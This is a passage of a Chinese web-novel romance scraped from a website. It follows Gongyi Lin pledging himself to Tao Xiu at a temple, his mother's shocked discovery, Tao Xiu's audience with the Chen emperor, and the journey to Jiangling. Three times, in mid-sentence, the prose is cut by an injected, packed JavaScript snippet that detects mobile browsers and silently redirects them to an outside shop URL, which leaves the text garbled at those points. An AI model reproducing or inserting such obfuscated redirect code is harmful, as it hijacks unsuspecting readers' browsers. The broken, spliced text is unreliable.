陶修转身望去,不禁皱眉却步,下意识站到公仪林身后。 李颂身着枣红色襦裙,金色发带飘然落于肩头,边施礼边阔步向前,此人“性”趣差也就罢了,偏生还有副风流倜傥的外表,身后除了跟随的两名仆从外,还有个十八九岁的妙龄女子。 公仪林扫了眼那姑娘,暗道:“难道这李太仆改了口味,平常携带出门的可都是涂脂抹粉的狡好少年。” “李太仆也知道这家?看来也是常来,里面请——” 陶修犹豫一下,开口道:“二位里面慢慢享用,陶某在外面等候。” 因来往的人多,李颂这才看见公仪林身后的人,想到此人的身份不同两年前,顿时脸色变得非常难堪,磕巴着问:“这位是,这位就是萧,不对,陶,陶县尹?” “李大人。”陶修略拱手,转身就融入了街上往来的人群当中。 公仪林捧着四块薄脆的酥饼追上来,气喘吁吁问:“为何走的这样急,避李颂如避猛虎,我怕他不成?” “怕倒不会,就是恶心他的为人。”陶修从他手中抽出一块饼,一口下去就少了一半,笑道:“果然薄而脆。” “那人确实有点黏腻,公仪鸾和他走动的多,没想到你也讨厌他,初到都城那会,李颂个狗东西居然还从我身上揩过油,啧啧,我倒想他现在也能有当时的狗胆。” 陶修闻言愣一下,忽而又笑了:“知道那年我为何突然从李府策马离开?因为他在我身上用了下三滥的手脚,幸亏我还有余力还击,否则。”说到此处,一张薄饼已被他吞进肚中,待要拿第二块时,才发现公仪林已变了脸色,目光冷峻严肃,言简意赅地问:“他欺辱过你?为何当时不告诉我?” “这种事说出去更没面子的是我吧。你们同朝为官又不敌对,能忍我就忍了!” 公仪林回想那晚的情形,以为陶修从李府跑回去是因为受到伤臂的打击心情忧郁,那段时间他在绒华院住的很不开心。“我不知道你离开李府是因为这个,”他自责愧疚地拍拍陶修的肩,“不好的事就不要重复提起,忘了吧,我会给你个说法,但你记住,不是任何事都需要忍。” 他回看李颂正在喝鸡汤的小楼,又抬头仰望夜空白玉似的月和身旁面容清俊的人,此夜的美景和美人少有,不宜破坏,暂压怒火,深叹一声:好你个李颂,我连句重话都不曾对陶修说过,你这畜生敢对他下手。 “你这话好像我受了委屈要你替我打抱不平。” “为什么不能?” “要报仇我自己会动手,不提他了,你方才说还要去一个地方,是哪里?” “禅灵寺,离此稍微有些远,跟我走。”他们转身飞奔去拴马的地方,很快就远离喧嚣的街道和灯火熠熠的秦淮河畔。 禅灵寺要沿秦淮河向北走上一程,这段路程没有华灯没有行人,周围静谧无声。二人到了寺院门前才发现此处也热闹非凡,一辆辆马车、犊车停放的没有尽头,拜佛祈愿的年轻人居多,由三两个婢女陪着来的娇羞小姐、斯文儒雅一看就饱读诗书这会又想腕上牵跟红线的年轻男子,都拿面扇子半遮面孔,小心地打量对方。 公仪林不避耳目,拽上陶修的手往大殿奔去,在功德箱前,他把全身里里外外所有值钱的东西都掏出来堆放在一起。 陶修不解:“在找什么,刚才秦淮河旁就有寺庙,若祈福许愿急急赶到这里做什么?” “和你定个终身。”他还在往怀里继续掏,摸了半天,再摸不出任何东西。 “你在说什么胡话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581640|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我是认真的。你没见外面许多姑娘书生,听说这里求姻缘很准,我以前对此也嗤之以鼻,但方才,我就想跟你定下终身,一定要定下,否则我不踏实。”他把身上掏出来的三块玉佩、扇子、钱什么的一股脑都捧在手里,不停往功德箱里塞。 “快跪下,听我祈福,你一句话不用讲。” 陶修莫名其妙,跟着他跪在佛前。 公仪林双手合十心中默念:“佛祖,弟子公仪林今日并不是来许愿,只求在此留个见证,我与陶修自幼相识,也定会终老于白发,今后大雁无需寄书信,流水不必送江灯,今生我与陶修结成——”结成什么?结成眷侣?夫妻?俗了,也不适合陶修,只恨书读的少,一时竟想不到好听的词,“今后与陶修就结成家人,千磨万难意不改。” 默念完此话,公仪林伸出左手与陶修的右手交叉扣在一起,拉着他在佛祖面前礼拜三次。 自始至终陶修都不懂他突然发了什么狂,也不知他心里念叨了什么,至于拜佛,他们小时候就数次在玉河村的大庙里拜着玩,顺着他玩吧。 拜完之后,公仪林还是紧抓他的手腕得意地笑道:“不错不错,今后你可就是我的人了,我也是你的人,你我二人就这样过下去,佛祖为证。” 陶修抽出手磕磕他脑袋,笑问:“疯了吧?” “别笑,此趟江陵一行,你要跟我回来。” 两人给禅灵寺捐了香油钱,往银杏树上系祈福的红绸时,三五个年轻的姑娘在树的另一侧捂嘴轻笑,毫不避讳朝他们送来和善的目光。公仪林近前两步笑问她们:“几位姑娘是在看我们二人?” “是,从你们进来时我们就注意到二位公子了,你们也是来求姻缘的?” 公仪林轻施一礼,神采奕奕,骄傲地回答几位姑娘:“自然,自然。” 姑娘们发出藏不住的笑声,指着公仪林和陶修左右碗的红绸说:“此处果然灵验,我知你们都已求到了。”她们一副什么都懂的模样。红绸带是方才捐香油钱时公仪林从小和尚那讨来的,分别系在自己左腕和陶修的右腕上,意在搭配今夜约定的好事。 公仪林举起手腕朝她们炫耀一下,既幼稚又狂妄。 夜风清凉,香火缭绕,不知从哪个角落飘来一阵桂香,两种不同却都令人内心宁静的香味让陶修和公仪林产生一种错觉,在银杏树下相视一笑,好似今夜缓慢、柔和的节奏会永远持续,许下的愿望能成真。 看见他们在佛像前礼拜、腕缠红绸的并不止那几位姑娘,还有公仪林的母亲。 公仪夫人静静站在那里,注视儿子的一切举动,但她的态度与几位姑娘截然相反。 她就站在烧香的鼎炉旁,睁大了眼睛,当她弄明白这一切时,忽感觉清风吹得浑身发寒,手甚至拿不住抓了一辈子的佛香。察觉有眼泪要掉出来时,她慌忙掏出帕子擦掉。 公仪夫人开始重新审视这个叫陶修的人。她记得他救过公仪林的命,也记得儿子胆大妄为闯进西海县疫区是因为一个朋友,除此而外,再没听说过有关此人的任何消息,在她印象里只出现过两次的人突然间就成了心头大患,成了她这几十年来最大的烦恼。 128.说几句好听话 公仪夫人浑身发抖,握成拳的手抵在心口,脚下大地绵软,眼前来往的人影虚晃绰约,她听不到任何声音,两人交缠紧握的手一下一下撞击她的太阳穴,腕上鲜红的绸带刺的她不敢睁开双眼。 原来他抗婚的原因出在这里。 “奶奶,这都是第三个寺庙了,你要是累了就扶着佑儿,我的肩膀给你。来的路上我就跟你说过心中有佛就够了,何须每一个寺庙都跑一趟,累着了吧?” 公仪佑放一盏莲花灯再回到公仪夫人跟前时,恰好扶住险些摔倒的祖母,他从祖母眼中看到了惊慌和痛苦,好奇地顺着她的目光搜寻前方,竟看见银杏树下的叔父和陶城主。 “叔父,叔父啊,看过来,我们在这里。” 听见熟悉的声音,陶修先发现鼎炉旁的祖孙二人。 公仪林阔步走上前,“你们也在这里?”他还没在母亲面前站稳,脸颊就重重挨了一掌,响亮干脆带着愤懑的一掌。 他笑容遽退,震惊地望着母亲。 公仪夫人下唇哆嗦肩头耸动,怒气、痛苦、不解,所有情绪统统涌来,但嘴巴张合半天却什么都骂不出来。 “母亲,这是何故?” 一阵清风吹来鼎炉里的烟雾,两人都被呛人的烟气笼住,公仪林听到母亲竭力压抑在喉间的质问:“你让我在佛祖前替你发愿,希望你跟喜欢的人平平安安在一起,为母的确实这么做了,却不知你心里惦记的人竟是他,你,你——” 烟雾淡去,母子二人都红了眼角,公仪林伸手阻止后面的陶修继续上前,他深吸一口气,坚定地看向母亲:“我喜欢他并没有错,如果你们认为我错了,我也不怕错。”他紧紧握住母亲发抖的手:“我不希望你们为难他。” 陶修预感到那对母子间微妙的对峙,就顺着公仪佑热情的拉扯走过来,公仪夫人匆忙调整表情,笑脸相待。 陶修:“我以为公仪夫人和小公子会在秦淮河边看花灯,竟然也来了禅灵寺。” “我礼佛多年,见庙就拜,前几次来都城时从没到过这里,趁此佳节心情愉悦,就一起来逛逛。”她打量陶修时也需仰着头,是个面相温和的孩子,她发现自己做不到讨厌此人。 公仪林接过母亲手里的佛香插到鼎炉,然后搀起她的手臂说:“母亲你累了,我们现在就回去。” 回去的一路上似乎各人都有心思,公仪佑安然睡在祖母怀里,公仪夫人拨开车帘望着夜空的明月,神思不定,惆怅叹息了一路。 骑马的几个人无精打采跟随在马车后面,听着疲倦的蹄声,一路上谁都没开口。 既然他们已堂而皇之将系于腕上的红绸带露出来,公仪檀就知道自己无法改变小弟的决心,这个兄弟,已不是和他一起长大的孩子了,先装作什么都不知道吧。 万籁俱寂,月已升至中空,拥挤的绒华院彻底安静下来。绒花树下煮茗的水已沸了,轻烟直上,茶香四溢,公仪林撑着头半躺在小茶桌的一侧,伸手捻着陶修袖子的衣料,粗糙的质感像极了他朴素的为人。 陶修乒乒乓乓把几只茶具不停的叠放在一起又摆整齐,如此反复,皎洁的月色下能清楚看见公仪林的脸,恹恹的,“你有心思?从禅灵寺回来就没说话。” “公仪夫人知道你我二人的事了,你怕吗?” 陶修怔了一下,把一只青瓷茶杯捏在指间来回滚动,隔了很久才回他:“别问我,你若怕了就直说,这是你的难题。” 公仪林见他有撇清关系的嫌疑,险些心灰意冷,又听他沉声说:“是跪是打,我会跟你一起承担,毕竟他们更想揍的人是我。” 公仪林吭吭地笑起来,拽着他的手臂骨碌一下坐起,“哥哥好运气,换是两年前,老族长想要你的命跟踩死一条蚯蚓那样简单。如今他们拿你没办法了,顶多骂你几句,被骂了别恼我就行,我给你看我受罚的模样,行不行?” “蚯蚓可轻易踩不死。” 公仪林替他倒上一盏清茶,自己也倒了一盏,抱臂低头沉默一会,觉得这几年来真是受患得患失的折磨久了,哪怕今晚跟陶修约定终身心里还是不够踏实,总觉得此人全身都轻,身体轻、信念轻,无根无须,稍不留意就从手中飘走,“说几句我爱听的话吧。” “上次带回的一沓信看完了?” “嗯,下回再多编点,我爱看。” “槐序,如果你怕伤害他们,真的不必勉强,我可以从你面前消失,我的去处很多。” “我在你心里到底有没有分量?”心头骤起的凉意缓缓流经四肢,忍着要扑倒他的冲动,如果舍得打,他还要在他脸上打一拳才解气,“你那嘴要是实在不会说好听话就什么都别说吧。” “此去江陵,在我决定启程回来的前一刻,我不敢给你任何承诺。” “你今晚是非要把我惹怒了才罢休?”说着,又用食指和中指装作两条腿往陶修手边快步“走”去,两腿一跃而起,把整只手覆上陶修的手紧压在桌上,朝他无奈地笑笑:“别再开口了。夜已深,我们得早些睡,明日可不能以一副疲态面圣。” 圣上召见萧梁世子的位置选在御花园。公仪林向陈明俨回禀萧琢已在外等候时,陈明俨忙为画作点缀上最后一笔红晕。公仪林偷瞄了铺陈开的长卷,画的正是园中的一株海棠,看来陛下已在亭中待了不短的时间。 搁了笔后,陈明俨严阵以待正襟危坐,既将萧琢当作假想敌,又要在此人面前一展大国君主的风范,所以今日的穿戴随性中还藏着隆重,白色纱帽冠绣了金边,纯白的绸衣系一条翠绿的玉带,外罩一件藏青的宽袖大氅,把他壮硕的身材衬得魁梧高大,举手投足稳重老沉。 他略冷淡地命令:“宣他进来。” 萧琢由两个宫人领到御花园,远远就见八角亭里的一国之君,那次狩猎他见到还是做太子的陈明俨,现在成为君主更显威仪尊贵。萧琢近前后不敢抬首看向陈主,立即跪地稽首行了大礼,双臂伏于地上等了半天才听到陈主悠悠说道:“起来吧,公仪景风时常在我面前夸赞你,我也早就想见见你这个很快就不属于大陈的人才,抬起头,给我看看你的脸。” 陈明俨并不记得两三年前狩猎射鹿时把箭射入地下三寸深的就是此人,他仔细打量这个流落凡间、身世浮沉的世子,衣饰朴实无华,气质舒朗淡定,身材匀称高挑,五官立体分明,好像挑不出毛病,但与自己的龙章凤姿相比,萧琢就显得有点小家子气。 这一番打量后陈明俨发觉与萧氏遗珠较劲的行为完全没必要,不过是个乡野上来的无知少 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公仪林站姿笔直护卫在陈主身旁,此问突然吓了他一跳,猛然侧首看向陶修,这个问题若是回答错了陶修可能就是个死。 萧琢固然也惊恐万状,但这是归乡人必须回答的问题,听说朝中已有人提议将他扣留在都城永不放回故土,这也是圣上在测他的诚心。 “生身父母有予我骨肉之情,养父母有养育之恩,两者举足轻重,是人都难以从中做出选择,陛下若执意让臣选择一个,无异于让臣难为,做不孝之选。”萧琢竟拒绝选择。 陈主继续逼问:“若是两对父母所能给你的东西不同,而且都有私心,你做子女就一点微词都没有,不可能一视同仁吧?” 萧琢战战兢兢,如履薄冰。 圣上身后的公仪林更是急了一身汗,他昨晚就该跟陶修讲明白眼前坐的正是个爱听好听话的人,甭管什么礼义廉耻和违背本心,挑好听的说啊。 萧琢向公仪林投去求助的一眼,从那张五官几乎挤弄变形的脸上看到了他的暗示,很快就明白自己该说什么,“陛下,臣五岁起就长于吴郡,所受教化如细雨润物,感受的乡俗如春风拂面,臣的事事都与大陈牵连在一起,未生而养百世难还,臣对大陈就有难还的恩,江陵一行做了子女该做的事后,臣一定再返漳南。” 听到这个肯定的回道,陈主和公仪林都喜笑颜开。 陈主开怀大笑:“是吧,我准许你以陈国员外散骑侍郎的身份去江陵认亲,但你要记住养育之恩。不管亲生父母是刻意还是无意弄丢了孩子,收留他的养父母永远都是恩大于天,明白吗?” 对于萧琢的门面话,陈俨明听听就罢了,他没指望一个为贫贱所苦的人能对泼天的富贵和权势毫不动容,做萧氏世子远比漳南县尹更划算,即便如此,与其扣留为人质,不如让这个叫萧琢的人能带去陈国的善意。 “谢陛下圣恩,臣谨记在心。” “此趟去江陵可有什么要求,想要带多少人手尽管跟右卫将军提,我不会让自己的子民在外因寒酸而受人鄙薄。” “多谢陛下,臣希望公仪右卫能陪我行一趟江陵。” “他啊,那可就便宜他了,这人专爱游山玩水,放情丘壑。” 公仪林忙躬身笑道:“臣惶恐。” 129.出发江陵故地 从皇宫出来,二人心照不宣预备好面对公仪家的第一轮惩罚和责难,但小院依旧是那个热闹的小院,廊下鹦鹉叫的很欢,公仪佑还在朗声背诵中庸一篇,公仪檀竟主动迎上来恭喜陶修被授予的新官职,公仪老夫妇则立在绒花树下等着二人一起坐下,让他们讲述进宫这一趟的经过。 过于平静的表面让公仪林满心疑惑和忐忑,不认为悲愤交加的母亲没将她知晓的秘密找个可靠的人讲出来。 事实是,公仪檀暂时放下干预兄弟人生的决心,且看陶修去江陵的抉择,公仪夫人则认为儿子的幸福一定大过他必须成婚一事,何况他们这样的人家,就算公仪林到了四十岁才豁然省悟准备成家又有何不妥。 他们都与自己内心的挣扎进行了和解。 出发的日子定在八月十九,是公仪林特意找人算过的宜出行的黄道吉日,此趟他不敢有一丁点大意。这几日一直住在外面的胡峤也来了绒华院,借了块磨刀石把两个大刀磨的森寒锋利,把冰清玉润吓得抱成一团,娇娇弱弱不停地向这个糙汉打听:“你们是要远行?” 糙汉头都不肯抬,简洁地回答:“不知道。” 院子的东南角种了一丛细竹,长势很密,若不仔细看根本不知那里也能藏人,公仪林几次瞧见陶修站在那里赏花,看似赏花,满脸的惆怅都快让花也跟着颓废了。 公仪林理解他这会近乡情怯的心情,留了空隙给他独自待会,焦灼地观察几次后还是忍不住上前打搅,隔着青翠的竹子问:“要不要跟我去市上选几件带给你母亲的小礼?辛南佐说你还有个弟弟,也给带一份?” “不必,路途遥远,轻车简从罢。” “我看过你行囊,就几件换洗旧衣,真的什么都不带?” “仅这个就足够了。”陶修从细竹里伸出一只手,掌心是一枚漆黑润泽的黑玉章。 确实够了,萧琢“死亡”前最后做的一件事就在雕刻此枚印章,想必王府的旧人是永不会忘记的。 这时,公仪佑也挤进方寸大的小空间内,两边仰望,老沉的发问:“你们吵架了?” “哪知眼睛看见的?” “没见过隔着竹子交谈的,不是吵架又是作甚。” “会背了吗?时间已过了几日了,准备何时背给我听?” “我来正要跟叔父商量这件事,那日你答应我要舞剑给我看,就今日吧,你作为长辈你先来。” 公仪林蹲下来跟他讲话,难得的轻声慢语,指着满院来往的下人说:“我舞剑,他们必然也要看的,我成了卖艺的了?” “言而无信是吧?” “这样,这位陶县尹比叔父厉害,晚上等他们睡了让他给你显几招,行不行?但我有个条件?” “又开始哄小孩了,什么条件?” “你晚上能不能回你爹房间睡觉?” 竹丛后的陶修忍不住笑出声音,转个身从后面走出来,拉起公仪佑的手说:“你叔父诡计多端,不听他的,卖艺又如何,取剑来,我给你来几段。” 八月的天气最为舒爽晴朗,天高云淡,贵为朝廷官员的陶公子要在青天白日下当众舞剑的消息一出,满院的下人、仆从都放下手中活计围拢过来。自古有点权势的人都很清贵,走哪必须高高端着,生怕一不小心弯了腰就沾上贱民的气味。 陶修借剑抒意,又能哄小公子开心,但没料到会引起这么多人注视。他喜穿干脆利落的劲装,袖、腰系的板板正正,拎剑走上绒花树下的木台对众人拱手温和一笑,立即引得他们的高声喝彩。 宝剑出鞘,在阳光下折射出一道耀眼光芒。长剑在手,锋利逼人,陶修并不想太高调招摇,只拿出平常一半的功力舞于他们观赏,权当是给众人解闷玩闹。那剑在他手中似与手合为一体,轻盈如蝴翼翻飞,又快如闪电星火,既凌厉矫捷又飘逸灵动,破空之声如玉石相击,清脆悦耳。 公仪林怀抱双臂笑容四溢,一副“此人是不是很厉害”的表情,台上行云流水的动作令人赏心悦目,舞剑之人被一条宽带紧紧绑起的劲腰更令人魂不守舍,他一掌按住正观摩起劲的侄儿的头,低声威胁道:“你今晚必须给我睡你爹房里去,否则以后就留下给我捶腿,或是把你留下给我做儿子。” 公仪佑眨巴眼睛,好奇地问:“叔父你是不能生吗?” 陶修舞剑的英姿给公仪佑不小的震撼,看得眼花缭乱瞠目结舌,对这位陶县尹的好感倍增,且不说他这身非比常人的武艺,就是平日待人接物都比强横威严的叔父和善不知多少倍,仅三五天时间,他就完全被陶修折服。 待陶修刚收剑入鞘,公仪佑就冲上去抱住他的腿仰头说道:“陶县尹若不嫌弃就收我为徒,听说你也在用功读书,不懂的我可以反过来教你。” 这句话让公仪林想起十岁时初见陶修,也大言不惭地说过这种话:“把不会的字写下来,回头我教你。” 他冷哼一声拎过侄儿的后领面向自己,“该你背书了,大伙都等着呢。”就连小孩子都想来教陶修识字,简直越了辈分。 公仪佑明亮欢欣的双目陡然失去童稚,懊恼地走上台把一篇长文背的磕磕绊绊,卡顿忘词时越发觉得众人的眼睛都在盯着他,背至大半,终于失控而嚎啕大哭。 陶修拉他近前,擦去眼泪,哄道:“年纪小不服输,几天时间就背到这样程度很了不得了,读书肯定要读书的,说不定以后你会感谢你叔父今日的严厉。” 公仪佑揉去眼泪:“陶县尹这样的才是做长辈该有的谆谆教导。” 大伙哄笑而散。 八月十九出发之时,有两支长队将陶修、公仪林送至江边登船,但实际登船的人只有四个。司子再次向公仪林确认一遍:“公子真的不用我去?穿衣吃饭总要有人服侍的啊?” 他身旁的阿八安慰道:“放一百个心,这点小事,我也能做。”看似安慰,实则剜心,司子撇撇嘴翻他一个白眼。 “人去的越少,我们回来的越快。”其实公仪林想说人越少撤的越快,他心中忐忑不安,对此行并不抱有太多期待,只愿陶修见过亲生父母后能平安回归大陈。 他登船前亲自放下两盏从寺庙求来的平安莲灯,看浩渺的江水将之送到尽头,回身对陶修作揖,郑重其事地说:“萧世子,大陈的右卫将军公仪林一定会平安护送你至江陵。”抬头凝视他的双眸,十分肯定地说:“再护你回程。” 天穹晴朗,江水浩荡,水面波光粼粼,大船溯江而上,两岸景色千变万化,浮云行水、草木山川都从视野中缓慢褪去,从辽阔的平原到山峰起伏,再到壮丽的名山大川,船在江上行驶三四日,沿途所见的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603103|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情风貌逐渐不同,人还是一样的人,但口音、服饰已明显和陈国不同。 陶修负手立于船首远眺浩渺的江水,衣袂翻飞,思绪随风乱舞,想从这一草一木一山一水中回忆起幼时的经历,但记忆被时间掩盖的太深沉,他只能茫然地看着眼前陌生的一切。 一只手从背后轻轻揽住他的腰,声音极尽温柔:“在水上行了四天,我两条腿软的快站不住了,再行两个时辰就到荆州地界,怯没怯?” 陶修拍拍腰上那只手,长长叹了一口气,挤出一抹艰难的笑:“是怕了,我不知道该如何面对……面对我的母亲。在她心中,我已是死去多年的人,我的出现会不会伤害他们?” “人生有几个大喜瞬间,该加一个死而复生,对你母亲而言,这怎会是悲?” “话虽如此,你没有我的经历,怎能明白此刻我的担忧与害怕?” “如果见面时实在不知道说什么,你就哭吧,把这些年的委屈都哭出来,你需要哭,她也需要。” 这主意有点令陶修意外,转头看着公仪林,真诚地问:“长大成人后我就很少哭过,哭能管用?” “一切酸甜苦辣,喜乐悲殇无不可以用流泪去表达,眼泪饱含你的所有情绪,哭吧,不丢人。” “好,我会试试。” 公仪林指着两岸逶迤的山峰和一块形状怪异的巨石问:“那块石头叫雄鸡岩,在当地很出名,你来过没?兴许你父亲带你攀过?” “我什么都想不起来。” 阿八慵懒地靠在船舱壁上,时不时勾搭对面寡言少语的胡峤讲话,一眼扫到船首两人揽腰搭背的动作,惊地他天雷滚滚,“刷”一下坐起来往外爬了一步要看个真切,回头看着胡峤:“大哥,说句话啊,我的眼睛没花吧?” 胡峤怀抱两把大刀眯眼静坐,闻言掀开眼皮瞥向外面两人,又朝阿八看了眼复又阖上,从鼻腔里发出一声“哼”,算是对他对少见多怪的轻蔑。 这时,船夫高喊一声:“前面就驶进文波河,再一个时辰公子们都可以下船了,文波河附近有一尊大佛,高九丈,是此地一大看点,诸位若有闲情可去一观。” 船在大江支流的文波河上缓慢行进,两岸房屋茅舍成排而建,行人渐多,船只慢慢往渡口靠近。他们下船后站在坚硬的岸上适应片刻才使双腿没那么虚浮打飘。 公仪林四下打量这个陌生地方,突然在河东岸一片茂林后发现一颗硕大的佛头,在碧蓝天穹的映衬下,大佛就像悬于半空,慈眉善目俯视众生。他们在强烈的视觉冲击下都虔诚的合掌礼拜。 公仪林对陶修提议道:“先去拜一拜,让阿八去准备几匹马再进城,如何?” 陶修看起来脸色不好,紧闭唇角,点头同意。 这尊高九丈的大佛建在一座小山的角上,脚踩莲座,右手施无畏印,左手与愿印,双目微张,安详凝重宝相庄严。佛像下方的香火旺盛,轻烟袅袅升空,善男信女络绎不绝,是处神秘安宁之所。 公仪林回头看落后一步的陶修时,见他脸色苍白,双眸流露的悲伤惊恐像兽夹给伤害过的鹿,他轻声问:“要不要找地歇会,刚下船又走了这么久,是该累了。” 陶修解下背后的剑递给胡峤,对二人道:“你们在此等我,我进去就来。”说完独自进了枫叶寺。 130.十四盏光明灯 公仪林哪是个听劝的,把剑也塞给胡峤,“在此等我。”走了一步又回头叮嘱:“寺庙禁止带刀。”他一路寻下,在来往不绝的信众里追上陶修的身影,只见他径直朝一个方向走去,毫不犹豫,就像熟门熟路来过多次。 一直走到大佛脚下的跪拜处停下。 陶修仰望大佛慈悲的面容,心中震颤,若说他对自己的身世还持有一丝怀疑,在看见大佛那一刻就完全想起了遗忘的名姓,萧琢,乳名麒麟儿,他在这座枫叶寺亲手点亮过十四盏光明灯,每年来两次,每次两盏,一盏祈愿父母安康,一盏祈愿萧梁国运永祚。 他察觉到公仪林跟在身后,转身对他笑道:“槐序,想看看我小时候点的祈福灯吗?如果我没猜错,它们应该还保留在寺里。”他的笑中很多无奈和遗憾。 “你来过这里?” “枫叶寺建成不到三十年,那年梁与周之间的几场大战,千里大地毁于兵燹,中宗皇帝见饿殍满道、民生凋敝,他亲自监督建成这座寺庙,给满目疮痍的心头寻找慰藉之所。我两岁起跟着父亲来枫叶寺祈愿,上元节和仲秋节各来一次,五岁那年的仲秋节就断了。” 陶修带他走到供灯的地方,站在门外略犹豫,不确定地说:“若他们想念我,一定还会保留我的光明灯。”但已十六年过去,未必如他所想。 “进去吧,我陪你补上十六年前仲秋节未点燃的灯,虽然迟了几天。” 信众在仲秋时留下的灯火仅剩下一少部分,两人在数千盏一看就是刚点燃没多久的明灯前寻找想要的东西显然是不可能的。公仪林绕过宝殿中央的大佛走至后面,黯然肃穆的大殿后豁然明朗,几百盏光明灯璀璨夺目,在千佛灯塔上煌煌闪烁。 灯塔被隔绝起来,常人无法靠近。 公仪林只用一句话就获得近前的许可,他找到德高望重的老僧,虔诚合掌,稳重地开口:“师父,寺院内不敢说诳语,这座千佛灯塔内有我这位朋友幼时点过的灯,我们想靠近了看一下。” 老高僧缓声拒绝:“施主可知这个位置是什么人供的灯?” “知道,梁室的贵胄。” “既然知道,那你们——”老高僧上下打量陶修,没再继续说下去。 “既然我们知道还坚持要看,大师怎会不明白?” 老僧亲自为他们打开半身高的赭红木门。 灯塔有两人高,塔尖一盏灯尤为灿烂,从灯龛内放出数道金光,下面的几百盏灯无一熄灭,看来时时都有专人为这些灯添油维护。 陶修绕着灯塔慢走一圈突然半跪于地,肩膀有点颤抖,指着一盏油汪汪的灯问老僧:“这盏灯的供主是岳阳王的爱子,据说此人幼年夭亡,难道此灯燃了十六七年?” 老僧道:“没错,岳阳王府每年都捐大量香油钱为已故世子的供灯燃明,至今从未断过。” “仲秋节他们也来了?” “王妃亲自为世子的灯添了香油。” 陶修拿出灯后一张朽旧的金纸,还未展开就对公仪林说:“槐序,上面写着‘父母安康’,你信不信?” 老僧本想阻止他这出格的举动,忽听接过金纸的年轻人轻声念出“父母安康”四字,他明显一惊,这些可都是多年未被人动弹过的东西。 “这是你写的?”公仪林俯看还半跪于地的陶修,难以置信,真真切切看到他幼时娟秀的字和名字时,仿佛时空流转,文静秀气的小世子以赤诚的心坐于书案前写下这几个字。 “以前是父亲代写,四岁起是我自己动笔。”陶修站起来悄悄擦去眼里的泪,很奇怪自己竟能突然想起许多幼年时的事情,他对老僧合掌道:“多谢师父的通融,很多事情亲眼看见了才能更确定。” 老和尚似乎听懂了,也似乎明白了,“阿弥陀佛,善哉善哉。” 二人走出宝殿又站到寺院中央,回首看映衬在碧蓝天穹下巨大灵动的佛像,陶修笑道:“那年,从枫叶寺传出一阵低沉的钟声,我和师父同时愣住,我在听,他也在听,我想就是那阵钟声改变师父要杀我的决心,因为那个傍晚红霞满天,钟声悠长旷远,好像佛祖显露真身,任谁都无法起杀心。” “那我对佛祖要再虔诚一点。”说罢就隔空对着远远的大佛又是一拜,轻念道:“佛祖救苦救难,您的祥瑞不仅救了一条人命,也成就一段姻缘。弟子再拜。” 阿八一口气买下四匹马牵在手中,像个马贩子,一见了胡峤就滔滔不绝跟他抱怨此处买马是有多难,胡峤在他奔涌不绝发泄后仅“嗯”一声回应他。 阿八暗道:“此人看起来就是本领了得的样子,可惜是个没嘴的葫芦。” 四人离开枫叶寺后迅速进城。阿八在前开道,一路疾驰,不到半个时辰就到荆州城。 进城时因他们衣着略与本地不同,且都身背长剑,自然遇到守城将士的阻拦。阿八下马与围拢过来的十几个人解释周旋许久,那伙人才好奇地让开一条道放他们进去。 “公子,他们把你的印信留下了。” “留吧,很快就会有人来接待,我们先在城中四处转转。” 城的布局都是大同小异,路上行人密集,屋舍俨然,越往中央去,楼阁台榭越气派高大,但偶尔能见一两处残垣断壁,与整齐繁华的城相比显得格格不入。 萧梁的宗室都住在内城,几个外来的人根本无法进入,他们只能在外城繁华热闹地方随意转悠。 陶修四下打量此处的人情风貌,暂不能将自己置身于此,骑在马上就像个走马观花的看客,这是个陌生的地方。直到他看见一样本地小吃,才突然勒马停下。 那是架在油锅上摆放整齐的米糕,味道有点淡淡的咸味,油炸的金黄,香脆扑鼻。他指着米糕问:“这个叫什么?” “糯米锅块,要来一个吗?” “要四块。” 阿八咬一口觉得油了,胡峤不声不响都吞了下去,公仪林咬下一口边嚼边注意陶修的表情,陶修吃到一半时露出一抹笑,转头问他们:“好不好吃?” “嗯”“不好吃。” 公仪林咽下最后一口忙让阿八拿水给他压压,一边还梗着脖子说:“好吃。” 陶修拍打他的后背,哈哈大笑:“噎着了?时辰也不早了,我带你们去吃东西。” 阿八兴奋道:“陶公子这是尽地主之谊了?我要吃肉,啃骨头。” “行,那我们就去吃肉。” 店家在门口搭了简易帐篷,帐篷下支一口大锅,正煮着一锅热气腾腾的肉,大块的熟肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612456|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香味四溢,汤浓色香。阿八开始拴马:“就这家吧,我快饿死了。” 此店开在热闹的十字路口,因位置金贵,拴马处有点拥挤,好在几匹马都在低头吃料,并没有因拥挤嘶鸣乱吼。 “你们不是本地人啊?”掌柜见四人装束奇怪,个个人高马大利刃在手,问的小心翼翼。 